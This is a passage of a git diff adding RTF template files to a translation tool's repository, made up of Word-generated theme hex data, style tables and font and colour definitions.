+0389d50e1fdae515bd9c9d0b723666b709cce13313b4a2199c54d8ca85942998fd3ac2aa5aa9134bab1ad54cab73a4e526430ce74d83c5dc9b308020185bc0cb +ab7040d7a2e1608219196abfdbbd370b8b89c2598648867848d21869bbe763543541ca72c5dc0440ee94c4481ff28ef15a415a43b37d0369270952515c6d81b8 +2c7a6f12a52c836751d2757ba41c595c2c4e16a383a6d7a82fd73de4e3a4e98de04c0b5fa304a22ef5cc8759003743be1236ed8f2d6653e5b3683632c3dc22a8 +c23585f5fb9cc14e1f4884545b58863635ccab340558ac2559fd97ebe0d6b332c066fa6b68b1b206c9f0af69017e74434b4623e2ab62b00b2bda77f6316da57c +a288e885c303346013b18721fc3a55c19e21957035613a827e807b34ed6df3ca6dce69d1156faf0cceae639684386db7ba44b34ab67053c7b90ee6a9a01ed856 +aabb31eef4a698923f23538a69fc3f3345ef277053b032d411f0e11e5760a4ebb5e971a1420e5d2809a9df15303898de01d90277b1f01a920a6e93cd7f41f6f5 +7f5b739687296b38f0a93d1a2041613f52a1206417da92c9be639855d3bdcbb2642923935105756562d51e907dc2faba07aeeabddd4321a4bae926691b30b8a3 +f9e73ea7153408f49053ac37a787e47bafad817f7af2b1c50c46b97dd80c3499ff73154b76554b6fc8b3bdb768887e311bb36a595580b0c256d048cbfe355538 +e5566b3bd69cc5cbf54c3988e2bcc5b0980f4409dcf720fd07f63f2a7c464c1aeb0db5cff7a0b722f8a1413383b481ac3e67070fa41ba45d1cc0e064176d3269 +56d6b5e9e8a4bd966dd6673ce9e6728f385b6b7692789fd2d9f970e68a736af12c9d9d7ad8f1b55d5be86a88ecd11285a5517690318131bf69157f75e283db10 +e82db8df9f30254d32c16f4a02c3e8d9337500c56f251ad28dbf000000ffff0300504b0304140006000800000021000dd1909fb60000001b0100002700000074 +68656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73848f4d0ac2301484f78277086f6fd3ba109126dd88d0add40384 +e4350d363f2451eced0dae2c082e8761be9969bb979dc9136332de3168aa1a083ae995719ac16db8ec8e4052164e89d93b64b060828e6f37ed1567914b284d26 +2452282e3198720e274a939cd08a54f980ae38a38f56e422a3a641c8bbd048f7757da0f19b017cc524bd62107bd5001996509affb3fd381a89672f1f165dfe51 +4173d9850528a2c6cce0239baa4c04ca5bbabac4df000000ffff0300504b01022d0014000600080000002100828abc13fa0000001c0200001300000000000000 +000000000000000000005b436f6e74656e745f54797065735d2e786d6c504b01022d0014000600080000002100a5d6a7e7c0000000360100000b000000000000 +000000000000002b0100005f72656c732f2e72656c73504b01022d00140006000800000021006b799616830000008a0000001c00000000000000000000000000 +140200007468656d652f7468656d652f7468656d654d616e616765722e786d6c504b01022d0014000600080000002100c71c6d149c060000511b000016000000 +00000000000000000000d10200007468656d652f7468656d652f7468656d65312e786d6c504b01022d00140006000800000021000dd1909fb60000001b010000 +2700000000000000000000000000a10900007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73504b050600000000050005005d0100009c0a00000000} +{\*\colorschememapping 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d +617020786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d6174732e6f72672f64726177696e676d6c2f323030362f6d6169 +6e22206267313d226c743122207478313d22646b3122206267323d226c743222207478323d22646b322220616363656e74313d22616363656e74312220616363 +656e74323d22616363656e74322220616363656e74333d22616363656e74332220616363656e74343d22616363656e74342220616363656e74353d22616363656e74352220616363656e74363d22616363656e74362220686c696e6b3d22686c696e6b2220666f6c486c696e6b3d22666f6c486c696e6b222f3e} +{\*\latentstyles\lsdstimax267\lsdlockeddef0\lsdsemihiddendef1\lsdunhideuseddef1\lsdqformatdef0\lsdprioritydef99{\lsdlockedexcept \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority0 \lsdlocked0 Normal; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 1;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 2;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 3;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 4; +\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 5;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 6;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 7;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 8;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 9; +\lsdpriority39 \lsdlocked0 toc 1;\lsdpriority39 \lsdlocked0 toc 2;\lsdpriority39 \lsdlocked0 toc 3;\lsdpriority39 \lsdlocked0 toc 4;\lsdpriority39 \lsdlocked0 toc 5;\lsdpriority39 \lsdlocked0 toc 6;\lsdpriority39 \lsdlocked0 toc 7; +\lsdpriority39 \lsdlocked0 toc 8;\lsdpriority39 \lsdlocked0 toc 9;\lsdqformat1 \lsdpriority35 \lsdlocked0 caption;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority10 \lsdlocked0 Title;\lsdpriority1 \lsdlocked0 Default Paragraph Font; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority11 \lsdlocked0 Subtitle;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority22 \lsdlocked0 Strong;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority20 \lsdlocked0 Emphasis; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority59 \lsdlocked0 Table Grid;\lsdunhideused0 \lsdlocked0 Placeholder Text;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority1 \lsdlocked0 No Spacing; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 1;\lsdunhideused0 \lsdlocked0 Revision; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority34 \lsdlocked0 List Paragraph;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority29 \lsdlocked0 Quote;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority30 \lsdlocked0 Intense Quote; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 1; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 1;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 2; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 2;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 3;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 3; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 4; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 4;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 5; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 5;\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority65 \lsdlocked0 Medium List 1 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority66 \lsdlocked0 Medium List 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority70 \lsdlocked0 Dark List Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdpriority71 \lsdlocked0 Colorful Shading Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority72 \lsdlocked0 Colorful List Accent 6;\lsdsemihidden0 \lsdunhideused0 \lsdpriority73 \lsdlocked0 Colorful Grid Accent 6; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority19 \lsdlocked0 Subtle Emphasis;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority21 \lsdlocked0 Intense Emphasis; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference; +\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority33 \lsdlocked0 Book Title;\lsdpriority37 \lsdlocked0 Bibliography;\lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;}}{\*\datastore 010500000200000018000000 +4d73786d6c322e534158584d4c5265616465722e352e3000000000000000000000060000 +d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001000000010000000000000000100000feffffff00000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +fffffffffffffffffdfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffffffffffffec69d9888b8b3d4c859eaf6cd158be0f0000000000000000000000005007 +36816bb6cd01feffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000105000000000000}} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment_and_status_zh.rtf b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment_and_status_zh.rtf new file mode 100644 index 0000000..2f7860e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment_and_status_zh.rtf @@ -0,0 +1,245 @@ +{\rtf1\adeflang1025\ansi\ansicpg936\uc2\adeff0\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\f13\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f34\fbidi \froman\fcharset134\fprq2{\*\panose 02040503050406030204}Cambria Math;} +{\f38\fbidi \fswiss\fcharset134\fprq2{\*\panose 020b0604030504040204}Tahoma;}{\f39\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@\'cb\'ce\'cc\'e5;} +{\flomajor\f31500\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};} +{\fhimajor\f31502\fbidi \froman\fcharset134\fprq2{\*\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\flominor\f31504\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};} +{\fhiminor\f31506\fbidi \fswiss\fcharset134\fprq2{\*\panose 020f0502020204030204}Calibri;}{\fbiminor\f31507\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f43\fbidi \froman\fcharset238\fprq2 Times New Roman CE;} +{\f44\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\f46\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\f47\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\f48\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\f49\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f50\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\f51\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\f175\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};}{\f383\fbidi \froman\fcharset238\fprq2 Cambria Math CE;}{\f384\fbidi \froman\fcharset204\fprq2 Cambria Math Cyr;}{\f386\fbidi \froman\fcharset161\fprq2 Cambria Math Greek;} +{\f387\fbidi \froman\fcharset162\fprq2 Cambria Math Tur;}{\f390\fbidi \froman\fcharset186\fprq2 Cambria Math Baltic;}{\f423\fbidi \fswiss\fcharset238\fprq2 Tahoma CE;}{\f424\fbidi \fswiss\fcharset204\fprq2 Tahoma Cyr;} +{\f426\fbidi \fswiss\fcharset161\fprq2 Tahoma Greek;}{\f427\fbidi \fswiss\fcharset162\fprq2 Tahoma Tur;}{\f428\fbidi \fswiss\fcharset177\fprq2 Tahoma (Hebrew);}{\f429\fbidi \fswiss\fcharset178\fprq2 Tahoma (Arabic);} +{\f430\fbidi \fswiss\fcharset186\fprq2 Tahoma Baltic;}{\f431\fbidi \fswiss\fcharset163\fprq2 Tahoma (Vietnamese);}{\f432\fbidi \fswiss\fcharset222\fprq2 Tahoma (Thai);}{\f435\fbidi \fnil\fcharset134\fprq2 @\'cb\'ce\'cc\'e5 Western;} +{\flomajor\f31508\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flomajor\f31509\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;} +{\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} +{\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbmajor\f31520\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};} +{\fhimajor\f31528\fbidi \froman\fcharset238\fprq2 Cambria CE;}{\fhimajor\f31529\fbidi \froman\fcharset204\fprq2 Cambria Cyr;}{\fhimajor\f31531\fbidi \froman\fcharset161\fprq2 Cambria Greek;}{\fhimajor\f31532\fbidi \froman\fcharset162\fprq2 Cambria Tur;} +{\fhimajor\f31535\fbidi \froman\fcharset186\fprq2 Cambria Baltic;}{\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbimajor\f31539\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} +{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flominor\f31549\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;} +{\flominor\f31552\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flominor\f31553\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flominor\f31554\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} +{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbminor\f31560\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};} +{\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\fhiminor\f31569\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;}{\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;} +{\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbiminor\f31579\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} +{\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbiminor\f31586\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}} +{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0; +\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;\red255\green255\blue255;\red250\green191\blue143;}{\*\defchp \fs21\kerning2\dbch\af13 }{\*\defpap +\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 }\noqfpromote {\stylesheet{\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \snext0 \sqformat \spriority0 Normal;}{\*\cs10 \additive \ssemihidden Default Paragraph Font;}{\* +\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblind0\tblindtype3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\snext11 \ssemihidden \sunhideused \sqformat Normal Table;}{\*\ts15\tsrowd\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblind0\tblindtype0\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs20\alang1025 \ltrch\fcs0 